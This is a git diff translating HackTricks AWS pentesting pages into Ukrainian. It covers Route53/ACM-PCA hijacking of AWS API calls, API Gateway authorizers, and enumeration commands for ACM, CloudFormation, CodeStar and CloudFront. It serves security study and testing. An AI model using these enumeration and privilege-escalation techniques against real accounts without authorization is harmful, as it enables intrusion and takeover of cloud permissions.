used** for that and the adversary manages to get **access to control both route53 and acm-pca private CA** with the minimum set of permissions described above, it can **hijack the application calls to AWS API** taking over their IAM permissions. +Припустимо, що є AWS VPC з кількома хмарними додатками, які спілкуються один з одним і з AWS API. Оскільки зв'язок між мікросервісами часто шифрується за допомогою TLS, має бути приватний CA для видачі дійсних сертифікатів для цих сервісів. **Якщо використовується ACM-PCA** для цього, і супротивник отримує **доступ до контролю як route53, так і acm-pca приватного CA** з мінімальним набором дозволів, описаних вище, він може **перехопити виклики додатків до AWS API**, взявши на себе їх IAM дозволи. -This is possible because: +Це можливо, оскільки: -- AWS SDKs do not have [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) -- Route53 allows creating Private Hosted Zone and DNS records for AWS APIs domain names -- Private CA in ACM-PCA cannot be restricted to signing only certificates for specific Common Names +- AWS SDK не має [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) +- Route53 дозволяє створювати приватні хостингові зони та DNS записи для доменних імен AWS API +- Приватний CA в ACM-PCA не може бути обмежений лише підписанням сертифікатів для конкретних загальних імен -**Potential Impact:** Indirect privesc by intercepting sensitive information in the traffic. +**Потенційний вплив:** Непряме підвищення привілеїв шляхом перехоплення чутливої інформації в трафіку. -#### Exploitation +#### Використання -Find the exploitation steps in the original research: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/) +Знайдіть кроки експлуатації в оригінальному дослідженні: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/README.md b/src/pentesting-cloud/aws-security/aws-services/README.md index dddd8ac04..06aa2a73e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/README.md @@ -8,28 +8,24 @@ Services that fall under container services have the following characteristics: -- The service itself runs on **separate infrastructure instances**, such as EC2. -- **AWS** is responsible for **managing the operating system and the platform**. -- A managed service is provided by AWS, which is typically the service itself for the **actual application which are seen as containers**. -- As a user of these container services, you have a number of management and security responsibilities, including **managing network access security, such as network access control list rules and any firewalls**. +- The service itself runs on **окремих інфраструктурних екземплярах**, such as EC2. +- **AWS** is responsible for **управлінням операційною системою та платформою**. +- A managed service is provided by AWS, which is typically the service itself for the **фактичні програми, які розглядаються як контейнери**. +- As a user of these container services, you have a number of management and security responsibilities, including **управлінням безпекою мережевого доступу, такими як правила списку контролю доступу до мережі та будь-які брандмауери**. - Also, platform-level identity and access management where it exists. -- **Examples** of AWS container services include Relational Database Service, Elastic Mapreduce, and Elastic Beanstalk. +- **Приклади** AWS container services include Relational Database Service, Elastic Mapreduce, and Elastic Beanstalk. ### Abstract Services -- These services are **removed, abstracted, from the platform or management layer which cloud applications are built on**. +- These services are **відокремлені, абстраговані, від платформи або управлінського рівня, на якому побудовані хмарні програми**. - The services are accessed via endpoints using AWS application programming interfaces, APIs. -- The **underlying infrastructure, operating system, and platform is managed by AWS**. +- The **базова інфраструктура, операційна система та платформа управляються AWS**. - The abstracted services provide a multi-tenancy platform on which the underlying infrastructure is shared. -- **Data is isolated via security mechanisms**. -- Abstract services have a strong integration with IAM, and **examples** of abstract services include S3, DynamoDB, Amazon Glacier, and SQS. +- **Дані ізольовані за допомогою механізмів безпеки**. +- Abstract services have a strong integration with IAM, and **приклади** abstract services include S3, DynamoDB, Amazon Glacier, and SQS. ## Services Enumeration -**The pages of this section are ordered by AWS service. In there you will be able to find information about the service (how it works and capabilities) and that will allow you to escalate privileges.** +**Сторінки цього розділу впорядковані за сервісами AWS. У них ви зможете знайти інформацію про сервіс (як він працює та його можливості), що дозволить вам підвищити привілеї.** {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md index 09aa42d7c..f2375dff5 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md @@ -6,38 +6,37 @@ ### Basic Information -AWS API Gateway is a comprehensive service offered by Amazon Web Services (AWS) designed for developers to **create, publish, and oversee APIs on a large scale**. It functions as an entry point to an application, permitting developers to establish a framework of rules and procedures. This framework governs the access external users have to certain data or functionalities within the application. +AWS API Gateway - це комплексна служба, що пропонується Amazon Web Services (AWS), призначена для розробників, щоб **створювати, публікувати та контролювати API в масштабах**. Вона функціонує як точка входу до програми, дозволяючи розробникам встановлювати набір правил і процедур. Ця структура регулює доступ зовнішніх користувачів до певних даних або функціональностей у програмі. -API Gateway enables you to define **how requests to your APIs should be handled**, and it can create custom API endpoints with specific methods (e.g., GET, POST, PUT, DELETE) and resources. It can also generate client SDKs (Software Development Kits) to make it easier for developers to call your APIs from their applications. +API Gateway дозволяє вам визначити, **як повинні оброблятися запити до ваших API**, і може створювати користувацькі кінцеві точки API з конкретними методами (наприклад, GET, POST, PUT, DELETE) та ресурсами. Вона також може генерувати клієнтські SDK (набори засобів розробки програмного забезпечення), щоб спростити розробникам виклик ваших API з їхніх програм. ### API Gateways Types -- **HTTP API**: Build low-latency and cost-effective REST APIs with built-in features such as OIDC and OAuth2, and native CORS support. Works with the following: Lambda, HTTP backends. -- **WebSocket API**: Build a WebSocket API using persistent connections for real-time use cases such as chat applications or dashboards. Works with the following: Lambda, HTTP, AWS Services. -- **REST API**: Develop a REST API where you gain complete control over the request and response along with API management capabilities. Works with the following: Lambda, HTTP, AWS Services. -- **REST API Private**: Create a REST API that is only accessible from within a VPC. +- **HTTP API**: Створюйте API REST з низькою затримкою та економічними витратами з вбудованими функціями, такими як OIDC та OAuth2, а також нативною підтримкою CORS. Працює з наступними: Lambda, HTTP backends. +- **WebSocket API**: Створюйте WebSocket API, використовуючи постійні з'єднання для реальних випадків використання, таких як чат-додатки або інформаційні панелі. Працює з наступними: Lambda, HTTP, AWS Services. +- **REST API**: Розробляйте REST API, де ви отримуєте повний контроль над запитом і відповіддю разом із можливостями управління API. Працює з наступними: Lambda, HTTP, AWS Services. +- **REST API Private**: Створіть REST API, який доступний лише зсередини VPC. ### API Gateway Main Components -1. **Resources**: In API Gateway, resources are the components that **make up the structure of your API**. They represent **the different paths or endpoints** of your API and correspond to the various actions that your API supports. A resource is each method (e.g., GET, POST, PUT, DELETE) **inside each path** (/, or /users, or /user/{id}. -2. **Stages**: Stages in API Gateway represent **different versions or environments** of your API, such as development, staging, or production. You can use stages to manage and deploy **multiple versions of your API simultaneousl**y, allowing you to test new features or bug fixes without affecting the production environment. Stages also **support stage variables**, which are key-value pairs that can be used to configure the behavior of your API based on the current stage. For example, you could use stage variables to direct API requests to different Lambda functions or other backend services depending on the stage. - - The stage is indicated at the beggining of the URL of the API Gateway endpoint. -3. **Authorizers**: Authorizers in API Gateway are responsible for **controlling access to your API** by verifying the identity of the caller before allowing the request to proceed. You can use **AWS Lambda functions** as custom authorizers, which allows you to implement your own authentication and authorization logic. When a request comes in, API Gateway passes the request's authorization token to the Lambda authorizer, which processes the token and returns an IAM policy that determines what actions the caller is allowed to perform. API Gateway also supports **built-in authorizers**, such as **AWS Identity and Access Management (IAM)** and **Amazon Cognito**. -4. **Resource Policy**: A resource policy in API Gateway is a JSON document that **defines the permissions for accessing your API**. It is similar to an IAM policy but specifically tailored for API Gateway. You can use a resource policy to control who can access your API, which methods they can call, and from which IP addresses or VPCs they can connect. **Resource policies can be used in combination with authorizers** to provide fine-grained access control for your API. - - In order to make effect the API needs to be **deployed again after** the resource policy is modified. +1. **Resources**: У API Gateway ресурси - це компоненти, які **складають структуру вашого API**. Вони представляють **різні шляхи або кінцеві точки** вашого API і відповідають різним діям, які підтримує ваш API. Ресурс - це кожен метод (наприклад, GET, POST, PUT, DELETE) **всередині кожного шляху** (/, або /users, або /user/{id}). +2. **Stages**: Стадії в API Gateway представляють **різні версії або середовища** вашого API, такі як розробка, тестування або продуктивність. Ви можете використовувати стадії для управління та розгортання **декількох версій вашого API одночасно**, що дозволяє вам тестувати нові функції або виправлення помилок без впливу на продуктивне середовище. Стадії також **підтримують змінні стадії**, які є парами ключ-значення, що можуть використовуватися для налаштування поведінки вашого API в залежності від поточної стадії. Наприклад, ви можете використовувати змінні стадії, щоб направляти запити API до різних функцій Lambda або інших служб бекенду в залежності від стадії. +- Стадія вказується на початку URL кінцевої точки API Gateway. +3. **Authorizers**: Авторизатори в API Gateway відповідають за **контроль доступу до вашого API**, перевіряючи особу виклику перед тим, як дозволити запит. Ви можете використовувати **функції AWS Lambda** як користувацькі авторизатори, що дозволяє вам реалізувати власну логіку аутентифікації та авторизації. Коли надходить запит, API Gateway передає токен авторизації запиту авторизатору Lambda, який обробляє токен і повертає політику IAM, що визначає, які дії дозволено виконувати виклику. API Gateway також підтримує **вбудовані авторизатори**, такі як **AWS Identity and Access Management (IAM)** та **Amazon Cognito**. +4. **Resource Policy**: Політика ресурсу в API Gateway - це документ JSON, який **визначає дозволи для доступу до вашого API**. Вона подібна до політики IAM, але спеціально адаптована для API Gateway. Ви можете використовувати політику ресурсу, щоб контролювати, хто може отримати доступ до вашого API, які методи вони можуть викликати та з яких IP-адрес або VPC вони можуть підключатися. **Політики ресурсів можуть використовуватися в поєднанні з авторизаторами** для надання детального контролю доступу до вашого API. +- Щоб зміни набрали чинності, API потрібно **знову розгорнути після** зміни політики ресурсу. ### Logging -By default, **CloudWatch Logs** are **off**, **Access Logging** is **off**, and **X-Ray tracing** is also **off**. +За замовчуванням **CloudWatch Logs** **вимкнено**, **Access Logging** **вимкнено**, а **X-Ray tracing** також **вимкнено**. ### Enumeration > [!TIP] -> Note that in both AWS apis to enumerate resources (**`apigateway`** and **`apigatewayv2`**) the only permission you need and the only read permission grantable is **`apigateway:GET`**, with that you can **enumerate everything.** +> Зверніть увагу, що в обох API AWS для перерахунку ресурсів (**`apigateway`** та **`apigatewayv2`**) єдине дозволення, яке вам потрібно, і єдине дозволення на читання, яке можна надати, - це **`apigateway:GET`**, з цим ви можете **перерахувати все.** {{#tabs }} {{#tab name="apigateway" }} - ```bash # Generic info aws apigateway get-account @@ -78,11 +77,9 @@ aws apigateway get-usage-plan-key --usage-plan-id --key-id ###Already consumed aws apigateway get-usage --usage-plan-id --start-date 2023-07-01 --end-date 2023-07-12 ``` - {{#endtab }} {{#tab name="apigatewayv2" }} - ```bash # Generic info aws apigatewayv2 get-domain-names @@ -124,49 +121,43 @@ aws apigatewayv2 get-models --api-id ## Call API https://.execute-api..amazonaws.com// ``` - {{#endtab }} {{#endtabs }} -## Different Authorizations to access API Gateway endpoints +## Різні авторизації для доступу до кінцевих точок API Gateway -### Resource Policy +### Політика ресурсів -It's possible to use resource policies to define who could call the API endpoints.\ -In the following example you can see that the **indicated IP cannot call** the endpoint `/resource_policy` via GET. +Можливо використовувати політики ресурсів, щоб визначити, хто може викликати кінцеві точки API.\ +У наступному прикладі ви можете побачити, що **вказана IP-адреса не може викликати** кінцеву точку `/resource_policy` через GET.
-### IAM Authorizer +### IAM Авторизатор -It's possible to set that a methods inside a path (a resource) requires IAM authentication to call it. +Можливо встановити, що методи всередині шляху (ресурсу) вимагають IAM аутентифікації для виклику.
-When this is set you will receive the error `{"message":"Missing Authentication Token"}` when you try to reach the endpoint without any authorization. - -One easy way to generate the expected token by the application is to use **curl**. +Коли це встановлено, ви отримаєте помилку `{"message":"Missing Authentication Token"}`, коли спробуєте досягти кінцевої точки без будь-якої авторизації. +Один простий спосіб згенерувати очікуваний токен додатком - це використати **curl**. ```bash $ curl -X https://.execute-api..amazonaws.com// --user : --aws-sigv4 "aws:amz::execute-api" ``` - -Another way is to use the **`Authorization`** type **`AWS Signature`** inside **Postman**. +Інший спосіб - використовувати тип **`Authorization`** **`AWS Signature`** всередині **Postman**.
-Set the accessKey and the SecretKey of the account you want to use and you can know authenticate against the API endpoint. - -Both methods will generate an **Authorization** **header** such as: +Встановіть accessKey та SecretKey облікового запису, який ви хочете використовувати, і ви зможете аутентифікуватися проти API-інтерфейсу. +Обидва методи згенерують **Authorization** **header** такий як: ``` AWS4-HMAC-SHA256 Credential=AKIAYY7XU6ECUDOTWB7W/20220726/us-east-1/execute-api/aws4_request, SignedHeaders=host;x-amz-date, Signature=9f35579fa85c0d089c5a939e3d711362e92641e8c14cc571df8c71b4bc62a5c2 ``` - -Note that in other cases the **Authorizer** might have been **bad coded** and just sending **anything** inside the **Authorization header** will **allow to see the hidden content**. +Зверніть увагу, що в інших випадках **Authorizer** міг бути **погано закодований**, і просто відправка **будь-чого** в **Authorization header** дозволить **побачити прихований контент**. ### Request Signing Using Python - ```python pip install requests @@ -193,59 +184,56 @@ response = requests.get(url, auth=awsauth) print(response.text) ``` - ### Custom Lambda Authorizer -It's possible to use a lambda that based in a given token will **return an IAM policy** indicating if the user is **authorized to call the API endpoint**.\ -You can set each resource method that will be using the authoriser. +Можливо використовувати лямбду, яка на основі даного токена **поверне IAM політику**, що вказує, чи користувач **уповноважений викликати API кінцеву точку**.\ +Ви можете налаштувати кожен метод ресурсу, який буде використовувати авторизатор.
Lambda Authorizer Code Example - ```python import json def lambda_handler(event, context): - token = event['authorizationToken'] - method_arn = event['methodArn'] +token = event['authorizationToken'] +method_arn = event['methodArn'] - if not token: - return { - 'statusCode': 401, - 'body': 'Unauthorized' - } +if not token: +return { +'statusCode': 401, +'body': 'Unauthorized' +} - try: - # Replace this with your own token validation logic - if token == "your-secret-token": - return generate_policy('user', 'Allow', method_arn) - else: - return generate_policy('user', 'Deny', method_arn) - except Exception as e: - print(e) - return { - 'statusCode': 500, - 'body': 'Internal Server Error' - } +try: +# Replace this with your own token validation logic +if token == "your-secret-token": +return generate_policy('user', 'Allow', method_arn) +else: +return generate_policy('user', 'Deny', method_arn) +except Exception as e: +print(e) +return { +'statusCode': 500, +'body': 'Internal Server Error' +} def generate_policy(principal_id, effect, resource): - policy = { - 'principalId': principal_id, - 'policyDocument': { - 'Version': '2012-10-17', - 'Statement': [ - { - 'Action': 'execute-api:Invoke', - 'Effect': effect, - 'Resource': resource - } - ] - } - } - return policy +policy = { +'principalId': principal_id, +'policyDocument': { +'Version': '2012-10-17', +'Statement': [ +{ +'Action': 'execute-api:Invoke', +'Effect': effect, +'Resource': resource +} +] +} +} +return policy ``` -
Call it with something like: @@ -254,25 +242,25 @@ Call it with something like:
> [!WARNING] -> Depending on the Lambda code, this authorization might be vulnerable +> Залежно від коду Lambda, ця авторизація може бути вразливою -Note that if a **deny policy is generated and returned** the error returned by API Gateway is: `{"Message":"User is not authorized to access this resource with an explicit deny"}` +Зверніть увагу, що якщо **генерується і повертається політика заборони**, помилка, повернена API Gateway, виглядає так: `{"Message":"User is not authorized to access this resource with an explicit deny"}` -This way you could **identify this authorization** being in place. +Таким чином, ви могли б **виявити цю авторизацію**. -### Required API Key +### Необхідний API ключ -It's possible to set API endpoints that **require a valid API key** to contact it. +Можна налаштувати API кінцеві точки, які **вимагають дійсний API ключ** для зв'язку з ними.
-It's possible to generate API keys in the API Gateway portal and even set how much it can be used (in terms of requests per second and in terms of requests per month). +Можна генерувати API ключі в порталі API Gateway і навіть налаштувати, скільки разів їх можна використовувати (в термінах запитів на секунду та в термінах запитів на місяць). -To make an API key work, you need to add it to a **Usage Plan**, this usage plan mus be added to the **API Stage** and the associated API stage needs to have a configured a **method throttling** to the **endpoint** requiring the API key: +Щоб API ключ працював, потрібно додати його до **Плану використання**, цей план використання повинен бути доданий до **Стадії API**, а асоційована стадія API повинна мати налаштоване **обмеження методів** для **кінцевої точки**, що вимагає API ключа:
-## Unauthenticated Access +## Неавтентифікований доступ {{#ref}} ../aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md @@ -284,20 +272,16 @@ To make an API key work, you need to add it to a **Usage Plan**, this usage plan ../aws-privilege-escalation/aws-apigateway-privesc.md {{#endref}} -## Post Exploitation +## Постексплуатація {{#ref}} ../aws-post-exploitation/aws-api-gateway-post-exploitation.md {{#endref}} -## Persistence +## Постійність {{#ref}} ../aws-persistence/aws-api-gateway-persistence.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md index 0f3da9d50..89d8588cb 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md @@ -2,18 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Основна інформація -**AWS Certificate Manager (ACM)** is provided as a service aimed at streamlining the **provisioning, management, and deployment of SSL/TLS certificates** for AWS services and internal resources. The necessity for manual processes, such as purchasing, uploading, and certificate renewals, is **eliminated** by ACM. This allows users to efficiently request and implement certificates on various AWS resources including **Elastic Load Balancers, Amazon CloudFront distributions, and APIs on API Gateway**. +**AWS Certificate Manager (ACM)** надається як сервіс, спрямований на спрощення **надання, управління та розгортання SSL/TLS сертифікатів** для сервісів AWS та внутрішніх ресурсів. Необхідність у ручних процесах, таких як купівля, завантаження та поновлення сертифікатів, **усунена** завдяки ACM. Це дозволяє користувачам ефективно запитувати та впроваджувати сертифікати на різних ресурсах AWS, включаючи **Elastic Load Balancers, Amazon CloudFront distributions та APIs на API Gateway**. -A key feature of ACM is the **automatic renewal of certificates**, significantly reducing the management overhead. Furthermore, ACM supports the creation and centralized management of **private certificates for internal use**. Although SSL/TLS certificates for integrated AWS services like Elastic Load Balancing, Amazon CloudFront, and Amazon API Gateway are provided at no extra cost through ACM, users are responsible for the costs associated with the AWS resources utilized by their applications and a monthly fee for each **private Certificate Authority (CA)** and private certificates used outside integrated ACM services. +Ключовою особливістю ACM є **автоматичне поновлення сертифікатів**, що значно зменшує витрати на управління. Крім того, ACM підтримує створення та централізоване управління **приватними сертифікатами для внутрішнього використання**. Хоча SSL/TLS сертифікати для інтегрованих сервісів AWS, таких як Elastic Load Balancing, Amazon CloudFront та Amazon API Gateway, надаються безкоштовно через ACM, користувачі несуть відповідальність за витрати, пов'язані з ресурсами AWS, які використовуються їхніми додатками, а також за щомісячну плату за кожну **приватну сертифікаційну установу (CA)** та приватні сертифікати, які використовуються поза інтегрованими сервісами ACM. -**AWS Private Certificate Authority** is offered as a **managed private CA service**, enhancing ACM's capabilities by extending certificate management to include private certificates. These private certificates are instrumental in authenticating resources within an organization. +**AWS Private Certificate Authority** пропонується як **керований сервіс приватної CA**, що розширює можливості ACM, включаючи управління сертифікатами приватних сертифікатів. Ці приватні сертифікати є важливими для аутентифікації ресурсів в організації. -## Enumeration +## Перерахування ### ACM - ```bash # List certificates aws acm list-certificates @@ -27,9 +26,7 @@ aws acm get-certificate --certificate-arn "arn:aws:acm:us-east-1:188868097724:ce # Account configuration aws acm get-account-configuration ``` - ### PCM - ```bash # List CAs aws acm-pca list-certificate-authorities @@ -49,7 +46,6 @@ aws acm-pca get-certificate-authority-csr --certificate-authority-arn # Get CA Policy (if any) aws acm-pca get-policy --resource-arn ``` - ## Privesc TODO @@ -59,7 +55,3 @@ TODO TODO {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md index 66539b87d..fe675a12d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md @@ -4,10 +4,9 @@ ## CloudFormation -AWS CloudFormation is a service designed to **streamline the management of AWS resources**. It enables users to focus more on their applications running in AWS by **minimizing the time spent on resource management**. The core feature of this service is the **template**—a descriptive model of the desired AWS resources. Once this template is provided, CloudFormation is responsible for the **provisioning and configuration** of the specified resources. This automation facilitates a more efficient and error-free management of AWS infrastructure. +AWS CloudFormation — це сервіс, призначений для **спрощення управління ресурсами AWS**. Він дозволяє користувачам більше зосереджуватися на своїх додатках, що працюють в AWS, **мінімізуючи час, витрачений на управління ресурсами**. Основною функцією цього сервісу є **шаблон** — описова модель бажаних ресурсів AWS. Після надання цього шаблону CloudFormation відповідає за **постачання та налаштування** вказаних ресурсів. Ця автоматизація сприяє більш ефективному та безпомилковому управлінню інфраструктурою AWS. ### Enumeration - ```bash # Stacks aws cloudformation list-stacks @@ -30,10 +29,9 @@ aws cloudformation list-stack-instances --stack-set-name aws cloudformation list-stack-set-operations --stack-set-name aws cloudformation list-stack-set-operation-results --stack-set-name --operation-id ``` - ### Privesc -In the following page you can check how to **abuse cloudformation permissions to escalate privileges**: +На наступній сторінці ви можете перевірити, як **зловживати дозволами cloudformation для ескалації привілеїв**: {{#ref}} ../aws-privilege-escalation/aws-cloudformation-privesc/ @@ -41,14 +39,13 @@ In the following page you can check how to **abuse cloudformation permissions to ### Post-Exploitation -Check for **secrets** or sensitive information in the **template, parameters & output** of each CloudFormation +Перевірте наявність **секретів** або чутливої інформації в **шаблоні, параметрах та виході** кожного CloudFormation ## Codestar -AWS CodeStar is a service for creating, managing, and working with software development projects on AWS. You can quickly develop, build, and deploy applications on AWS with an AWS CodeStar project. An AWS CodeStar project creates and **integrates AWS services** for your project development toolchain. Depending on your choice of AWS CodeStar project template, that toolchain might include source control, build, deployment, virtual servers or serverless resources, and more. AWS CodeStar also **manages the permissions required for project users** (called team members). +AWS CodeStar - це сервіс для створення, управління та роботи з проектами розробки програмного забезпечення на AWS. Ви можете швидко розробляти, збирати та розгортати додатки на AWS за допомогою проекту AWS CodeStar. Проект AWS CodeStar створює та **інтегрує AWS сервіси** для вашого інструментального ланцюга розробки проекту. Залежно від вибору шаблону проекту AWS CodeStar, цей інструментальний ланцюг може включати контроль версій, збірку, розгортання, віртуальні сервери або безсерверні ресурси та інше. AWS CodeStar також **управляє дозволами, необхідними для користувачів проекту** (які називаються членами команди). ### Enumeration - ```bash # Get projects information aws codestar list-projects @@ -56,13 +53,12 @@ aws codestar describe-project --id aws codestar list-resources --project-id aws codestar list-team-members --project-id - aws codestar list-user-profiles - aws codestar describe-user-profile --user-arn +aws codestar list-user-profiles +aws codestar describe-user-profile --user-arn ``` - ### Privesc -In the following page you can check how to **abuse codestar permissions to escalate privileges**: +На наступній сторінці ви можете перевірити, як **зловживати дозволами codestar для ескалації привілеїв**: {{#ref}} ../aws-privilege-escalation/aws-codestar-privesc/ @@ -73,7 +69,3 @@ In the following page you can check how to **abuse codestar permissions to escal - [https://docs.aws.amazon.com/cloudformation/](https://docs.aws.amazon.com/cloudformation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md index 75613cdb4..312cc7887 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md @@ -4,20 +4,19 @@ ## CloudFront -CloudFront is AWS's **content delivery network that speeds up distribution** of your static and dynamic content through its worldwide network of edge locations. When you use a request content that you're hosting through Amazon CloudFront, the request is routed to the closest edge location which provides it the lowest latency to deliver the best performance. When **CloudFront access logs** are enabled you can record the request from each user requesting access to your website and distribution. As with S3 access logs, these logs are also **stored on Amazon S3 for durable and persistent storage**. There are no charges for enabling logging itself, however, as the logs are stored in S3 you will be stored for the storage used by S3. +CloudFront є **мережею доставки контенту AWS, яка прискорює розповсюдження** вашого статичного та динамічного контенту через свою всесвітню мережу крайових локацій. Коли ви використовуєте запит на контент, який ви хостите через Amazon CloudFront, запит маршрутизується до найближчої крайової локації, що забезпечує найнижчу затримку для досягнення найкращої продуктивності. Коли **журнали доступу CloudFront** увімкнені, ви можете записувати запити від кожного користувача, який запитує доступ до вашого веб-сайту та розповсюдження. Як і з журналами доступу S3, ці журнали також **зберігаються на Amazon S3 для надійного та постійного зберігання**. За увімкнення журналювання самі журнали не підлягають оплаті, однак, оскільки журнали зберігаються в S3, вам буде нараховано плату за використане зберігання S3. -The log files capture data over a period of time and depending on the amount of requests that are received by Amazon CloudFront for that distribution will depend on the amount of log fils that are generated. It's important to know that these log files are not created or written to on S3. S3 is simply where they are delivered to once the log file is full. **Amazon CloudFront retains these logs until they are ready to be delivered to S3**. Again, depending on the size of these log files this delivery can take **between one and 24 hours**. +Файли журналів захоплюють дані протягом певного періоду часу, і залежно від кількості запитів, які отримує Amazon CloudFront для цього розповсюдження, буде залежати кількість згенерованих файлів журналів. Важливо знати, що ці файли журналів не створюються і не записуються на S3. S3 - це просто місце, куди вони доставляються, коли файл журналу заповнений. **Amazon CloudFront зберігає ці журнали, поки вони не будуть готові до доставки в S3**. Знову ж таки, залежно від розміру цих файлів журналів, ця доставка може зайняти **від одного до 24 годин**. -**By default cookie logging is disabled** but you can enable it. +**За замовчуванням журналювання cookie вимкнено**, але ви можете його увімкнути. ### Functions -You can create functions in CloudFront. These functions will have its **endpoint in cloudfront** defined and will run a declared **NodeJS code**. This code will run inside a **sandbox** in a machine running under an AWS managed machine (you would need a sandbox bypass to manage to escape to the underlaying OS). +Ви можете створювати функції в CloudFront. Ці функції матимуть свій **кінцевий пункт у cloudfront**, визначений, і виконуватимуть оголошений **NodeJS код**. Цей код буде виконуватися в **пісочниці** на машині, що працює під управлінням AWS (вам знадобиться обхід пісочниці, щоб вийти на базову ОС). -As the functions aren't run in the users AWS account. no IAM role is attached so no direct privesc is possible abusing this feature. +Оскільки функції не виконуються в обліковому записі користувача AWS, жодна роль IAM не прикріплена, тому неможливо безпосередньо використовувати цю функцію для підвищення привілеїв. ### Enumeration - ```bash aws cloudfront list-distributions aws cloudfront get-distribution --id # Just get 1 @@ -28,21 +27,16 @@ aws cloudfront get-function --name TestFunction function_code.js aws cloudfront list-distributions | jq ".DistributionList.Items[] | .Id, .Origins.Items[].Id, .Origins.Items[].DomainName, .AliasICPRecordals[].CNAME" ``` - -## Unauthenticated Access +## Неавтентифікований доступ {{#ref}} ../aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md {{#endref}} -## Post Exploitation +## Після експлуатації {{#ref}} ../aws-post-exploitation/aws-cloudfront-post-exploitation.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md index 55216fa7e..ffddc7519 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md @@ -2,70 +2,64 @@ {{#include ../../../banners/hacktricks-training.md}} -## HSM - Hardware Security Module +## HSM - Модуль апаратної безпеки -Cloud HSM is a FIPS 140 level two validated **hardware device** for secure cryptographic key storage (note that CloudHSM is a hardware appliance, it is not a virtualized service). It is a SafeNetLuna 7000 appliance with 5.3.13 preloaded. There are two firmware versions and which one you pick is really based on your exact needs. One is for FIPS 140-2 compliance and there was a newer version that can be used. +Cloud HSM - це апаратний пристрій, що відповідає стандарту FIPS 140 рівня два для безпечного зберігання криптографічних ключів (зауважте, що CloudHSM є апаратним пристроєм, це не віртуалізована служба). Це пристрій SafeNetLuna 7000 з попередньо завантаженою версією 5.3.13. Є дві версії прошивки, і вибір залежить від ваших конкретних потреб. Одна з них призначена для відповідності FIPS 140-2, а інша - новіша версія, яку можна використовувати. -The unusual feature of CloudHSM is that it is a physical device, and thus it is **not shared with other customers**, or as it is commonly termed, multi-tenant. It is dedicated single tenant appliance exclusively made available to your workloads +Незвичайною особливістю CloudHSM є те, що це фізичний пристрій, і тому він **не ділиться з іншими клієнтами**, або, як це зазвичай називають, багатокористувацький. Це спеціалізований пристрій для одного користувача, доступний виключно для ваших навантажень. -Typically, a device is available within 15 minutes assuming there is capacity, but in some zones there could not be. +Зазвичай пристрій доступний протягом 15 хвилин, якщо є потужність, але в деяких зонах цього може не бути. -Since this is a physical device dedicated to you, **the keys are stored on the device**. Keys need to either be **replicated to another device**, backed up to offline storage, or exported to a standby appliance. **This device is not backed** by S3 or any other service at AWS like KMS. +Оскільки це фізичний пристрій, що призначений для вас, **ключі зберігаються на пристрої**. Ключі потрібно або **реплікувати на інший пристрій**, резервувати в офлайн-сховищі або експортувати на резервний пристрій. **Цей пристрій не підкріплений** S3 або будь-якою іншою службою AWS, як KMS. -In **CloudHSM**, you have to **scale the service yourself**. You have to provision enough CloudHSM devices to handle whatever your encryption needs are based on the encryption algorithms you have chosen to implement for your solution.\ -Key Management Service scaling is performed by AWS and automatically scales on demand, so as your use grows, so might the number of CloudHSM appliances that are required. Keep this in mind as you scale your solution and if your solution has auto-scaling, make sure your maximum scale is accounted for with enough CloudHSM appliances to service the solution. +У **CloudHSM** ви повинні **масштабувати службу самостійно**. Вам потрібно надати достатню кількість пристроїв CloudHSM, щоб впоратися з вашими потребами в шифруванні на основі обраних вами алгоритмів шифрування для вашого рішення.\ +Масштабування служби управління ключами виконується AWS і автоматично масштабується за запитом, тому, коли ваше використання зростає, може зрости і кількість необхідних пристроїв CloudHSM. Майте це на увазі, коли ви масштабуєте своє рішення, і якщо ваше рішення має автоматичне масштабування, переконайтеся, що ваш максимальний масштаб враховує достатню кількість пристроїв CloudHSM для обслуговування рішення. -Just like scaling, **performance is up to you with CloudHSM**. Performance varies based on which encryption 